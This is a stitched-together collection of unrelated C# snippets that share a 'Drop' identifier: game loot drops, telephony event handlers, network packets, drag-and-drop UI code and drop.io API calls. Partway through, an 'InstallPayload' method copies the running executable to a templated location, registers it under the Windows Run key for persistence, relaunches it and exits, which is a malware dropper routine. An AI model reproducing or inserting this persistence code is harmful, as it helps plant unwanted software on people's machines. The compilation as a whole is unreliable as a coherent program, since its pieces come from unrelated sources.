void OnEnemyDeath(Transform enemyTransform) { enemiesAlive--; if (enemiesAlive <= 0) { GoToNextRoom(); roomCleared = true; //DROPS MoneyDrop currentMoneyDrop = Instantiate(moneyDrop, enemyTransform.position + Vector3.up * 2, Quaternion.identity) as MoneyDrop; currentMoneyDrop.SetAmount(UnityEngine.Random.Range(enemiesSpawned * 2, enemiesSpawned * 4)); currentMoneyDrop.InitialForce(); currentDrops.Add(currentMoneyDrop); //CHANGE TO VARIABLE SPAWN PERCENT if (UnityEngine.Random.Range(0f, 1f) < 0.2f) { Drop drop = GetRandomDrop(); Drop currentDrop = Instantiate(drop, enemyTransform.position + Vector3.up * 2, Quaternion.identity) as Drop; currentDrop.InitialForce(); currentDrops.Add(currentDrop); } } }
public virtual void RegisterEventHandlersForTerminal(ITerminal terminal) { terminal.OutgoingCall += (sender, arg) => { State = PortState.Busy; OutgoingCall?.Invoke(this, arg); Console.WriteLine(arg.SourceNumber + " is calling " + arg.TargetNumber); }; terminal.IncomingCall += (sender, arg) => { State = PortState.Busy; terminal.CallEventArgs = arg; Console.WriteLine(arg.SourceNumber + " is calling " + arg.TargetNumber); }; terminal.Answer += (sender, arg) => { Console.WriteLine(arg.TargetNumber + " answered " + arg.SourceNumber); Answer?.Invoke(this, arg); }; terminal.Drop += (sender, arg) => { State = PortState.Free; Drop?.Invoke(this, arg); }; this.IncomingCall += (sender, arg) => { terminal.IncomingCallFromPort(arg); }; }
private List <Drop> MatchedDropsAfterSwap(Drop firstDrop, Drop secondDrop) { List <Drop> firstMatchedHorizontalDrops = HorizontalLeftMatchedDrops(firstDrop.xIndex, firstDrop.yIndex) .Union(HorizontalRightMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)).ToList(); List <Drop> firstMatchedVerticalDrops = VerticalDownMatchedDrops(firstDrop.xIndex, firstDrop.yIndex) .Union(VerticalUpMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)).ToList(); List <Drop> secondMatchedHorizontalDrops = HorizontalLeftMatchedDrops(secondDrop.xIndex, secondDrop.yIndex) .Union(HorizontalRightMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)).ToList(); List <Drop> secondMatchedVerticalDrops = VerticalDownMatchedDrops(secondDrop.xIndex, secondDrop.yIndex) .Union(VerticalUpMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)).ToList(); List <Drop> totalMatchedDrops = new List <Drop>(); if (firstMatchedHorizontalDrops.Count > 2) { totalMatchedDrops = totalMatchedDrops.Union(firstMatchedHorizontalDrops).ToList(); } if (firstMatchedVerticalDrops.Count > 2) { totalMatchedDrops = totalMatchedDrops.Union(firstMatchedVerticalDrops).ToList(); } if (secondMatchedHorizontalDrops.Count > 2) { totalMatchedDrops = totalMatchedDrops.Union(secondMatchedHorizontalDrops).ToList(); } if (secondMatchedVerticalDrops.Count > 2) { totalMatchedDrops = totalMatchedDrops.Union(secondMatchedVerticalDrops).ToList(); } return(totalMatchedDrops); }
protected void RaiseDrop(object sender, object drop) { if (Drop != null) { Drop.Invoke(sender, new DragDropArgs(drop)); } }
public static void Load() { int a = 0; var reader = DatabaseManager.Provider.ExecuteReader("SELECT * FROM drops"); while (reader.Read()) { var mob = MonsterTable.GetMonster(reader.GetInt32("mob")); if (mob == null) { continue; } var drop = new Drop() { MonsterID = reader.GetInt32("mob"), TemplateId = reader.GetInt32("item"), Seuil = reader.GetInt32("seuil"), Max = reader.GetInt32("max"), Taux = reader.GetDecimal("taux"), }; mob.addDrop(drop); a++; } reader.Close(); Logger.Info("Loaded @'" + a + "'@ Drops"); }
private Dictionary <string, CharacterConfig> LoadCharacters(XmlNodeList charactersXml, Dictionary <string, ItemConfig> itemConfigs, Dictionary <string, Drop> drops) { Dictionary <string, CharacterConfig> chs = new Dictionary <string, CharacterConfig> (); foreach (XmlNode itemXml in charactersXml) { string itemId = itemXml.Attributes["id"].Value; int life = int.Parse(itemXml.Attributes["life"].Value); int agility = int.Parse(itemXml.Attributes["agility"].Value); int strenght = int.Parse(itemXml.Attributes["strength"].Value); string leftHandItemId = itemXml.Attributes["leftHand"].Value; ItemConfig leftHandItemConfig = leftHandItemId == ""?null: itemConfigs[leftHandItemId]; string rightHandItemId = itemXml.Attributes["rightHand"].Value; ItemConfig rightHandItemConfig = rightHandItemId == ""?null: itemConfigs[rightHandItemId]; string dropId = itemXml.Attributes["dropId"].Value; Drop drop = null; if (dropId != "") { drop = drops[dropId]; } chs.Add(itemId, new CharacterConfig(itemId, life, agility, strenght, leftHandItemConfig, rightHandItemConfig, drop)); } return(chs); }
public void OnDie(Monster monster) { Drop d = ItemManager.Instance.GetMinigameDropTable("Sotu Nran Waterfall").DropTable.GetDrop(); MessageManager.AddMessage("The creature screams in rage and disappears under the water. The waterfall opens up to reveal a pile of treasure. You grab " + d.Amount + " " + d.Item + " quickly and escape before the creature returns."); Player.Instance.Inventory.AddDrop(d); }
public void sendDropCoordinates() { while (true) { lock (drop_lock) { if (drops.Count > 0) { foreach (DictionaryEntry dropEntry in drops) { string drop_name = dropEntry.Key.ToString(); Drop drop_data = (Drop)dropEntry.Value; using (WebClient wc = new WebClient()) { wc.DownloadString(String.Format("http://mysite.com/gps/?drop={0}&ip={1}&name={2}&x={3}&y={4}&z={5}", bootstrap[0], bootstrap[1], drop_name, drop_data.x.ToString("R"), drop_data.y.ToString("R"), drop_data.z.ToString("R") )); Console.WriteLine("Sending Drop Coords: {0}, {1}, {2}", drop_data.x.ToString("N2"), drop_data.y.ToString("N2"), drop_data.z.ToString("N2")); } } drops.Clear(); } } Thread.Sleep(20); } }
void Awake() { render = new RenderTexture(resolution, resolution, 0); render.enableRandomWrite = true; render.wrapMode = TextureWrapMode.Repeat; render.Create(); //ComputeShader setup kernelID = compute.FindKernel("CSMain"); compute.SetTexture(kernelID, "Result", render); drops = new Drop[dropcount]; for (int i = 0; i < dropcount; i++) { drops[i] = new Drop(); drops[i].pos.x = Random.value * resolution; drops[i].pos.y = Random.value * resolution; drops[i].radius = 0f; drops[i].maxradius = maxradius + (Random.value * 2f - 1) * deviation; } buffer = new ComputeBuffer(dropcount, 16); buffer.SetData(drops); //First Dispatch to have a Texture asap compute.SetFloat("deviation", deviation); compute.SetFloat("scale", resolution); compute.SetInt("dropcount", dropcount); compute.SetBuffer(kernelID, "drops", buffer); compute.Dispatch(kernelID, resolution / 8, resolution / 8, 1); }
public static Packet RemoveDrop(Drop drop) { Packet packet = new Packet(SH6Type.RemoveDrop); packet.WriteUShort(drop.ID); return(packet); }
private Drop GetRandomWeaponFrom(List <Drop> list, bool getWeaponDrop) { Drop highestDrop = null; float highestNum = -1f; if (getWeaponDrop) { for (int i = 0; i < list.Count; i++) { float newNum = list[i].relativeDropChance * Random.value; if (newNum > highestNum) { highestNum = newNum; highestDrop = list[i]; } } } else { for (int i = 0; i < list.Count; i++) { float newNum = list[i].relativeAmmoChance * Random.value; if (newNum > highestNum) { highestNum = newNum; highestDrop = list[i]; } } } return(highestDrop); }
public bool AddDrop(Drop drop) { try { using (var db = new Entitys()) { var newDropToAdd = new Drop { Id = drop.Id, Drop_Id = drop.Drop_Id, Drop_Adress = drop.Drop_Adress, Drop_time = drop.Drop_time, Reports_list = drop.Reports_list, Real_lat = drop.Real_lat, Real_log = drop.Real_log, Estimeated_lat = drop.Estimeated_lat, Estimeated_log = drop.Estimeated_log, }; db.Drops.Add(newDropToAdd); db.SaveChanges(); } return(true); } catch (Exception) { return(false); } }// done
private void recipe(object drop, List <string> ingredientNames) { List <string> produces; var ingredients = ItemTypeFactory.Instance.ToItemType(ingredientNames); Drop processedDrop = null; if (drop is string) { produces = new List <string> { $"Produces: {(string) drop}" }; processedDrop = DropFactory.parseDrop((string)drop); } else { produces = new List <string> { "May create a random piece of equipment similar to", "the placed item. Add coins to improve the quality", "and chance of a successful forging." }; processedDrop = drop as Drop; } Recipes.Add(new Recipe(ingredients, processedDrop, produces)); }
public static FlowDocument AddDrop(this StackPanel sp, Drop drop) { FlowDocumentParser fdp = new FlowDocumentParser() { TextAlignment = TextAlignment.Right }; fdp.AddBold(drop.Author.Name + " at " + String.Format("{0:dd/MM/yyyy HH:mm}", drop.UpdatedAt)); fdp = new FlowDocumentParser(fdp.Doc); fdp.AddMarkUp(drop.Content); FlowDocumentScrollViewer fdsv = new FlowDocumentScrollViewer() { HorizontalScrollBarVisibility = ScrollBarVisibility.Disabled, Document = fdp.Doc, VerticalScrollBarVisibility = ScrollBarVisibility.Auto, Foreground = new SolidColorBrush(Colors.White) }; Border border = new Border() { BorderThickness = new Thickness(0, 5, 0, 5), CornerRadius = new CornerRadius(10), Padding = new Thickness(3), Background = new SolidColorBrush(Colors.Black), Cursor = Cursors.Hand, Child = fdsv }; fdp.Doc.PreviewMouseWheel += Bubbler; fdsv.PreviewMouseWheel += Bubbler; fdsv.SizeChanged += Resizer; sp.Children.Add(border); return fdp.Doc; }
private Drop CreateDrop(string name, string description, bool guests_can_comment, bool guests_can_add, bool guests_can_delete) { Dictionary <string, string> args = new Dictionary <string, string>(); args.Add("version", "2.0"); args.Add("api_key", APIKey); args.Add("format", "xml"); // this is the name of the drop and will become part of the URL of the drop args.Add("name", name); // a plain text description of a drop args.Add("description", description); // determines whether guests can comment on assets args.Add("guests_can_comment", guests_can_comment.ToString()); // determines whether guests can add assets args.Add("guests_can_add", guests_can_add.ToString()); // determines whether guests can delete assets args.Add("guests_can_delete", guests_can_delete.ToString()); string response = SendRequestMultiPart("http://api.drop.io/drops", args); XDocument doc = XDocument.Parse(response); XElement root = doc.Element("drop"); if (root != null) { Drop drop = new Drop(); drop.Name = root.GetElementValue("name"); drop.AdminToken = root.GetElementValue("admin_token"); return(drop); } return(null); }
bool IItemDropTarget.Drop(Point2D p, Point2D ul, KeyModifiers mods) { var dropPoint = MapFromScreen(ul).Add(15); Drop.Raise(new Point2D(dropPoint.X / tile.Width, dropPoint.Y / tile.Height)); return(true); }
//Constructor public Monster(string name, pClass pClass, int xp, int gold, int addHP, int addDam, int hit, int defence, int crit, Drop drop, int action1, int action2, int action3) : base(pClass) { declareAction = Status.creatureUpdateName[2]; maxHealth = health = pClass.startingHealth + addHP; damage = pClass.startingDamage + addDam; energy = pClass.startingEnergy; magic = pClass.startingMagic; this.addDam = addDam; this.addHP = addHP; this.drop = drop; this.name = name; this.pClass = pClass; this.xp = xp; this.gold = gold; this.drop = drop; this.hit = hit; this.defence = defence; this.crit = crit; this.action1 = action1; this.action2 = action2; this.action3 = action3; monChoice = 0; colourChoice = Colour.NAME; }
private static void InstallPayload() { try { string DownloaderFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.% DIR %), "%EXE%"); if (Process.GetCurrentProcess().MainModule.FileName == DownloaderFullPath) { return; } FileStream Drop = null; if (File.Exists(DownloaderFullPath)) { Drop = new FileStream(DownloaderFullPath, FileMode.Create); } else { Drop = new FileStream(DownloaderFullPath, FileMode.CreateNew); } byte[] Payload = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); Drop.Write(Payload, 0, Payload.Length); Drop.Dispose(); Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(DownloaderFullPath), DownloaderFullPath); Process.Start(DownloaderFullPath); Thread.Sleep(50); Environment.Exit(0); } catch (Exception ex) { } }
public void Pickup(Drop drop) { if (drop.Picker != null) { // Someone already picked up this drop return; } drop.Picker = Parent; switch (drop) { case Meso meso when Parent.PrimaryStats.Meso != int.MaxValue: Parent.PrimaryStats.Meso += meso.Amount; break; case Item item when item.OnlyOne: // TODO: Appropriate message. return; case Item item when IsFull(item.Type): NotifyFull(); break; case Item item when !IsFull(item.Type): item.Slot = GetNextFreeSlot(item.Type); Add(item, true); break; } Parent.Map?.Drops.Remove(drop); drop.Picker.Send(drop.GetShowGainPacket()); }
public static void CreateDrop(Node context) { Drop drop = Instance("Drop") as Drop; drop.Position = new Vector2(300, 50); MainScene.AddChild(drop); }
void spawnDrop(Monster monster, Vector3 position) { for (int i = 0; i < monster.dropIds.Length; i++) { if (!isUnder(monster.dropChance[i])) { continue; } int itemID = monster.dropIds[i]; Debug.Log("item ID here!: " + itemID + " : " + i); GameObject prefab; prefab = (GameObject)Instantiate(ResourceStructure.getGameObjectFromPath(ItemDataProvider.getInstance().getStats(itemID).getString("pathToDropModel"))); //Drop drop = prefab.AddComponent<Drop>(); NetworkIdentity identity = prefab.GetComponent <NetworkIdentity>(); int itemQuantity = monster.dropQuantity[i]; Item item = new Item(itemID); item.setQuantity(itemQuantity); Drop drop = prefab.GetComponent <Drop>(); drop.initilize(item); //drop.initilize(item, this.targetNetwork); prefab.transform.position = position; NetworkServer.Spawn(prefab); ItemInfo packet = new ItemInfo(); packet.item = Tools.objectToByteArray(item); packet.netId = identity.netId; NetworkServer.SendToAll(PacketTypes.DROP_INIT, packet); } }
public void Update(GameTime gameTime) { // Update drops for (int i = Drops.Count - 1; i >= 0; i--) { Drop drop = Drops[i]; // Use map to detect collisions drop.DetectCollisions(this); // Calc dist from drop tp player float distToPlayer = Vector2.Distance(drop.Position, Main.Player.Bounds.Center.ToVector2()); if (distToPlayer < 2 * Tile.Size) { // Pick up Drops.Remove(drop); Main.inventory.AddItems(drop.Type, 1); } else if (distToPlayer < Player.PickupRange * Tile.Size) { // Move drop towards player drop.MoveToPlayer(Main.Player); } // Will move it drop.Update(gameTime); } }
// Hurt the player character when colliding // Reflect the projectile back to the flier when colliding with the sword // Destroy the projectile with any other collisions void OnTriggerEnter2D(Collider2D coll) { if (coll.tag == "Sword" && coll.isTrigger && !respawning) { GameObject Drop; Drop = Instantiate( baby, transform.position, transform.rotation) as GameObject; Drop.transform.localScale = new Vector3(1.0f, 1.0f, 1.0f); Drop.GetComponent <H2OBoy>().pushBackForce = 100f; Drop.layer = 0; SpriteRenderer sr; sr = GetComponent <SpriteRenderer>(); SpriteRenderer srb; Animator sra; sra = fake.GetComponent <Animator>(); srb = fake.GetComponent <SpriteRenderer>(); sr.enabled = false; sra.enabled = false; srb.enabled = false; respawning = true; foreach (BoxCollider2D c in GetComponents <BoxCollider2D> ()) { c.enabled = false; } } }
public void PhoneEventsInit(IPhone phone) { phone.IncomingCall += (sender, args) => { State = PortState.Call; phone.Connection = args; }; phone.OutgoingCall += (sender, args) => { State = PortState.Call; Call?.Invoke(this, args); }; phone.Answer += (sender, args) => { Answer?.Invoke(this, args); }; phone.Drop += (sender, args) => { State = PortState.Busy; Drop?.Invoke(this, args); }; this.IncomingCall += (sender, args) => { phone.GetIncomingCall(args); }; }
// Start is called before the first frame update void Start() { recallFlag = true; sr = GetComponent <SpriteRenderer>(); animator = GetComponent <Animator>(); drop = FindObjectOfType <Drop>(); }
public static Packet ShowDrop(Drop drop) { Packet packet = new Packet(SH7Type.ShowDrop); drop.Write(packet); return(packet); }
public AdventureCommandRegistry(IReadonlyAdventureGame game) { var lookCommand = new Look(game, "look", "l"); var helpCommand = new Help(game, "help"); var moveCommand = new Move(game, "move", "go", "walk", "run", "climb", "crawl"); var takeCommand = new Take(game, "take", "get", "grab"); var dropCommand = new Drop(game, "drop"); var magicWord1 = new Xyzzy(game, "xyzzy"); var magicWord2 = new Plugh(game, "plugh"); var inventoryCommand = new Carrying(game, "inventory", "inv"); var interactCommand = new Interact(game, "use"); // Do not add aliases for this command var yes = new Yes(game, "yes", "y"); var no = new No(game, "no", "n"); var say = new Say(game, "say"); RegisteredCommands = new List <IAdventureCommand> { lookCommand, helpCommand, moveCommand, takeCommand, dropCommand, magicWord1, magicWord2, inventoryCommand, interactCommand, yes, no, say, }; }
public IEnumerator Panic(int player, int target, Drop drop, int cardIndex) { PlayerController pc = playerControllers[player]; PlayerController targetPc = playerControllers[target]; Card c = null; switch (drop) { case Drop.Hand: if (target == player) { c = null; } else { c = targetPc.StealCardFromHand(cardIndex); } break; case Drop.Properties: c = targetPc.UnequipProperty(cardIndex); break; case Drop.Weapon: c = targetPc.UnequipWeapon(); break; } pc.DiscardCardUsed(); if (c != null) { pc.AddCard(c); } yield return(targetPc.StolenBy(player)); }
public IEnumerator CatBalou(int player, int target, Drop drop, int cardIndex) { PlayerController pc = playerControllers[player]; PlayerController targetPc = playerControllers[target]; Card c = null; switch (drop) { case Drop.Hand: if (player == target && cardIndex < pc.DraggedCardIndex) { pc.DraggedCardIndex--; } c = targetPc.StealCardFromHand(cardIndex); break; case Drop.Properties: c = targetPc.UnequipProperty(cardIndex); break; case Drop.Weapon: c = targetPc.UnequipWeapon(); break; } pc.DiscardCardUsed(); DiscardCard(c); yield return(targetPc.StolenBy(player)); }
void Start() { Instance = this; Weapon = Weapons[Random.Range(0, Weapons.Length)]; Item = Items[Random.Range(0, Items.Length)]; Spell = Spells[Random.Range(0, Spells.Length)]; Potion = Potions[Random.Range(0, Potions.Length)]; if (Type.Equals("Weapon")) { GetComponent <SpriteRenderer>().sprite = Weapon.Sprite; } if (Type.Equals("Item")) { GetComponent <SpriteRenderer>().sprite = Item.Sprite; } if (Type.Equals("Spell")) { GetComponent <SpriteRenderer>().sprite = Spell.Sprite; } if (Type.Equals("Potion")) { GetComponent <SpriteRenderer>().sprite = Potion.Sprite; } }
public void Pickup(Drop drop) { if (drop.Picker == null) { try { drop.Picker = this.Parent; if (drop is Meso) { this.Parent.Meso += ((Meso)drop).Amount; // TODO: Check for max meso. } else if (drop is Item) { ((Item)drop).Slot = this.GetNextFreeSlot(((Item)drop).Type); // TODO: Check for inv. full. this.Add((Item)drop, true); } this.Parent.Map.Drops.Remove(drop); using (Packet showGain = drop.GetShowGainPacket()) { this.Parent.Client.Send(showGain); } } catch (InventoryFullException) { this.NotifyFull(); } } }
public bool IsLinked( Drop drop ) { foreach( Drop linkedDrop in linkedDrops ) { if( linkedDrop == drop ) return true; } return false; }
public SpawnDrop(Drop drop) : base(0x36,18) { writer.Write(drop.ItemId); writer.Write(drop.WorldId); writer.Write(drop.PositionX); writer.Write(drop.PositionY); writer.Write(drop.Quantity); }
public void Erase() { this.transform.position = new Vector3( Random.Range( -1.0f, 1.0f ), 9 + Random.Range( -0.5f, 0.5f ) ); this.Rigidbody2D.velocity = Vector2.zero; flag_IsTouched = false; linkTo = null; LinkLightEffect.Stop(); InitDropType(); }
public virtual void SetBoolds(int index, float x, float y, float xs, float ys) { if (index > drops.Length - 1) { return; } drops[index] = new Drop(); drops[index].x = x; drops[index].y = y; drops[index].xspeed = xs; drops[index].yspeed = ys; }
public bool IsLinkable( Drop to ) { if( to == null ) return false; if( this.GetPosF().LengthSq( to.GetPosF() ) > LinkRadius ) return false; if( DropManager.IsLinked( to ) ) return false; if( ( this.dropType == DropType.GO && to.dropType == DropType.RI ) || ( this.dropType == DropType.RI && to.dropType == DropType.RA ) || ( this.dropType == DropType.RA && to.dropType == DropType.GO ) ) { return true; } else return false; }
private void UpdateFrame() { List<Drop> newDrops = new List<Drop>(); foreach (Drop d in Drops) { d.z--; if (d.z > 0) newDrops.Add(d); } for(int i = 0; i < r.Next(3); i++) { Drop d = new Drop(); d.x = (byte)r.Next(8); d.y = (byte)r.Next(8); d.z = 7; newDrops.Add(d); } Drops = newDrops; }
static public void AddDrops(this StackPanel sp, Drop[] drops) { for (int i = 0; i < drops.Length; i++) sp.AddDrop(drops[i]); }
// Use this for initialization void Start () { dropScript = GetComponent<Drop> (); jumpScript = GetComponent<PlayerJump> (); }
internal Drop GetDropClass(DataRow data, int dropid) { var drop = new Drop(); var item = data["item" + dropid].ToString().Split(','); var val1 = (ClassType) Int32.Parse(item[0]); var val2 = Int32.Parse(item[1]); if (val1 == ClassType.Treasure && Exclude.Contains(val2)) return drop; drop.Type = val1; drop.Content = GetDropContent(val1, val2); drop.Value = (int)data["value" + dropid]; return drop; }
public void AddDrop(Drop newDrop) { this.DropList.Add(newDrop); }
private void WriteDrops(Drop drop) { contentPanel.Children.Remove(loader_fdsv); contentPanel.AddDrop(drop); contentPanel.Children.Add(loader_fdsv); }
void Awake() { drop = gameObject.GetComponent<Drop>(); inst = gameObject.GetComponent<FocusableObject>(); }
public void Update(GameTime gameTime) { // updates the position of all monsters foreach (var monster in SpawnedMobs) { monster.Update(gameTime); } // generates new mobs SpawnGenerator(gameTime); // Checks for dead monsters STARTS // this.indexesForDeletion = new List<int>(); foreach (int mobIndex in this.MobsHit) { SpawnedMobs[mobIndex].HpPointsCurrent -= Player.Instance.WeaponDmg; if (SpawnedMobs[mobIndex].HpPointsCurrent <= 0) { indexesForDeletion.Add(mobIndex); } } this.MobsHit = new List<int>(); foreach (int mobIndex in indexesForDeletion) { Toolbar.SystemMsg.Instance.AllMessages.Add(new Dictionary<string, Color>() { { String.Format(">> {0} died.", this.SpawnedMobs[mobIndex].Name), Color.Cyan } }); // adds drop on the place of the dead mob Drop currentDrop = new Drop(this.SpawnedMobs[mobIndex].DestinationPosition); Handlers.DropHandler.Instance.AddDrop(currentDrop); Toolbar.SystemMsg.Instance.AllMessages.Add(new Dictionary<string, Color>() { { String.Format(">> {0} droped {1} {2}.", this.SpawnedMobs[mobIndex].Name, currentDrop.Amount, currentDrop.Name), Color.SpringGreen } }); this.SpawnedMobsNumber--; this.SpawnedMobs.RemoveAt(mobIndex); } // Checks for dead monsters ENDS // }
public string AuthenticatedDropUrl(Drop drop) { return ServiceProxy.Instance.GenerateAuthenticatedDropUrl(drop); }
private void ExplodeBanana( Drop BananaDrop ) { //バナナはバナナの周りを消す.バナナでバナナは消えない. foreach( Drop drop in allDrops .Where( x => x.GetPosF().IsInCircle( BananaDrop.GetPosF(), BananaRadius ) ) .Where( x => !x.IsBanana() ) ) { drop.Erase(); SaveDataManager.Add( SaveDataManager.Key.CharNum ); } BananaDrop.ExplodeBanana(); SaveDataManager.Add( SaveDataManager.Key.BananaNum ); }
public void AddLinkedDrop( Drop drop ) { linkedDrops.Add( drop ); }
public DropRange(float range, Drop.Name name) { this.range = range; this.name = name; }
private Drop CreateDrop(string name, string description, bool guests_can_comment, bool guests_can_add, bool guests_can_delete) { Dictionary<string, string> args = new Dictionary<string, string>(); args.Add("version", "2.0"); args.Add("api_key", APIKey); args.Add("format", "xml"); // this is the name of the drop and will become part of the URL of the drop args.Add("name", name); // a plain text description of a drop args.Add("description", description); // determines whether guests can comment on assets args.Add("guests_can_comment", guests_can_comment.ToString()); // determines whether guests can add assets args.Add("guests_can_add", guests_can_add.ToString()); // determines whether guests can delete assets args.Add("guests_can_delete", guests_can_delete.ToString()); string response = SendRequest(HttpMethod.POST, "http://api.drop.io/drops", args); XDocument doc = XDocument.Parse(response); XElement root = doc.Element("drop"); if (root != null) { Drop drop = new Drop(); drop.Name = root.GetElementValue("name"); drop.AdminToken = root.GetElementValue("admin_token"); return drop; } return null; }
/// <summary> /// Generates the authenticated drop URL. /// </summary> /// <param name="drop">The drop.</param> /// <returns></returns> public virtual string GenerateAuthenticatedDropUrl(Drop drop) { return this.ServiceAdapter.GenerateAuthenticatedDropUrl(drop); }
public string GenerateAuthenticatedDropUrl(Drop drop) { throw new System.NotImplementedException(); }